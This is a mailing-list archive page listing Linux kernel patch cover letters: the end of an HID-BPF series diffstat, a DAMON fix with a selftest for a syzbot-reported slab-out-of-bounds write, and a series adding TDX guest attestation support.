samples/hid/hid_mouse.c | 160 ++++ samples/hid/hid_surface_dial.bpf.c | 161 ++++ samples/hid/hid_surface_dial.c | 231 +++++ tools/include/uapi/linux/hid.h | 62 ++ tools/include/uapi/linux/hid_bpf.h | 25 + tools/testing/selftests/Makefile | 1 + tools/testing/selftests/hid/.gitignore | 4 + tools/testing/selftests/hid/Makefile | 242 +++++ tools/testing/selftests/hid/config | 20 + tools/testing/selftests/hid/hid_bpf.c | 846 ++++++++++++++++++ tools/testing/selftests/hid/progs/hid.c | 206 +++++ 34 files changed, 4815 insertions(+), 10 deletions(-) create mode 100644 Documentation/hid/hid-bpf.rst create mode 100644 drivers/hid/bpf/Kconfig create mode 100644 drivers/hid/bpf/Makefile create mode 100644 drivers/hid/bpf/entrypoints/Makefile create mode 100644 drivers/hid/bpf/entrypoints/README create mode 100644 drivers/hid/bpf/entrypoints/entrypoints.bpf.c create mode 100644 drivers/hid/bpf/entrypoints/entrypoints.lskel.h create mode 100644 drivers/hid/bpf/hid_bpf_dispatch.c create mode 100644 drivers/hid/bpf/hid_bpf_dispatch.h create mode 100644 drivers/hid/bpf/hid_bpf_jmp_table.c create mode 100644 include/linux/hid_bpf.h create mode 100644 include/uapi/linux/hid_bpf.h create mode 100644 samples/hid/.gitignore create mode 100644 samples/hid/Makefile create mode 100644 samples/hid/Makefile.target create mode 100644 samples/hid/hid_mouse.bpf.c create mode 100644 samples/hid/hid_mouse.c create mode 100644 samples/hid/hid_surface_dial.bpf.c create mode 100644 samples/hid/hid_surface_dial.c create mode 100644 tools/include/uapi/linux/hid.h create mode 100644 tools/include/uapi/linux/hid_bpf.h create mode 100644 tools/testing/selftests/hid/.gitignore create mode 100644 tools/testing/selftests/hid/Makefile create mode 100644 tools/testing/selftests/hid/config create mode 100644 tools/testing/selftests/hid/hid_bpf.c create mode 100644 tools/testing/selftests/hid/progs/hid.c -- 2.36.1

3 years

7
21
0 0

[PATCH 0/2] Fix slab-out-of-bounds Write in dbgfs_rm_context_write

by SeongJae Park

This patchset is for fixing (patch 1) the syzbot-reported slab-out-of-bounds write in dbgfs_rm_context_write[1], and adding a selftest for the bug (patch 2). [1] https://lore.kernel.org/damon/000000000000ede3ac05ec4abf8e@google.com/ SeongJae Park (2): mm/damon/dbgfs: check if rm_contexts input is for a real context selftests/damon: test non-context inputs to rm_contexts file mm/damon/dbgfs.c | 7 +++++++ tools/testing/selftests/damon/Makefile | 1 + .../damon/debugfs_rm_non_contexts.sh | 19 +++++++++++++++++++ 3 files changed, 27 insertions(+) create mode 100755 tools/testing/selftests/damon/debugfs_rm_non_contexts.sh -- 2.25.1

3 years

1
2
0 0

[PATCH v16 0/3] Add TDX Guest Attestation support

by Kuppuswamy Sathyanarayanan

Hi All, Intel's Trust Domain Extensions (TDX) protect guest VMs from malicious hosts and some physical attacks. VM guest with TDX support is called as a TDX Guest. In TDX guest, attestation process is used to verify the TDX guest trustworthiness to other entities before provisioning secrets to the guest. For example, a key server may request for attestation before releasing the encryption keys to mount the encrypted rootfs or secondary drive. This patch set adds attestation support for the TDX guest. Details about the TDX attestation process and the steps involved are explained in Documentation/x86/tdx.rst (added by patch 2/3). Following are the details of the patch set: Patch 1/3 -> Preparatory patch for adding attestation support. Patch 2/3 -> Adds user interface driver to support attestation. Patch 3/3 -> Adds selftest support for TDREPORT feature. Commit log history is maintained in the individual patches. Current overall status of this series is, it has no pending issues and can be considered for the upcoming merge cycle. Kuppuswamy Sathyanarayanan (3): x86/tdx: Add a wrapper to get TDREPORT from the TDX Module virt: Add TDX guest driver selftests: tdx: Test TDX attestation GetReport support Documentation/virt/coco/tdx-guest.rst | 42 +++++ Documentation/virt/index.rst | 1 + Documentation/x86/tdx.rst | 43 +++++ arch/x86/coco/tdx/tdx.c | 31 ++++ arch/x86/include/asm/tdx.h | 2 + drivers/virt/Kconfig | 2 + drivers/virt/Makefile | 1 + drivers/virt/coco/tdx-guest/Kconfig | 10 ++ drivers/virt/coco/tdx-guest/Makefile | 2 + drivers/virt/coco/tdx-guest/tdx-guest.c | 121 +++++++++++++ include/uapi/linux/tdx-guest.h | 55 ++++++ tools/testing/selftests/Makefile | 1 + tools/testing/selftests/tdx/Makefile | 7 + tools/testing/selftests/tdx/config | 1 + tools/testing/selftests/tdx/tdx_guest_test.c | 175 +++++++++++++++++++ 15 files changed, 494 insertions(+) create mode 100644 Documentation/virt/coco/tdx-guest.rst create mode 100644 drivers/virt/coco/tdx-guest/Kconfig create mode 100644 drivers/virt/coco/tdx-guest/Makefile create mode 100644 drivers/virt/coco/tdx-guest/tdx-guest.c create mode 100644 include/uapi/linux/tdx-guest.h create mode 100644 tools/testing/selftests/tdx/Makefile create mode 100644 tools/testing/selftests/tdx/config create mode 100644 tools/testing/selftests/tdx/tdx_guest_test.c -- 2.34.1

3 years

4
13
0 0

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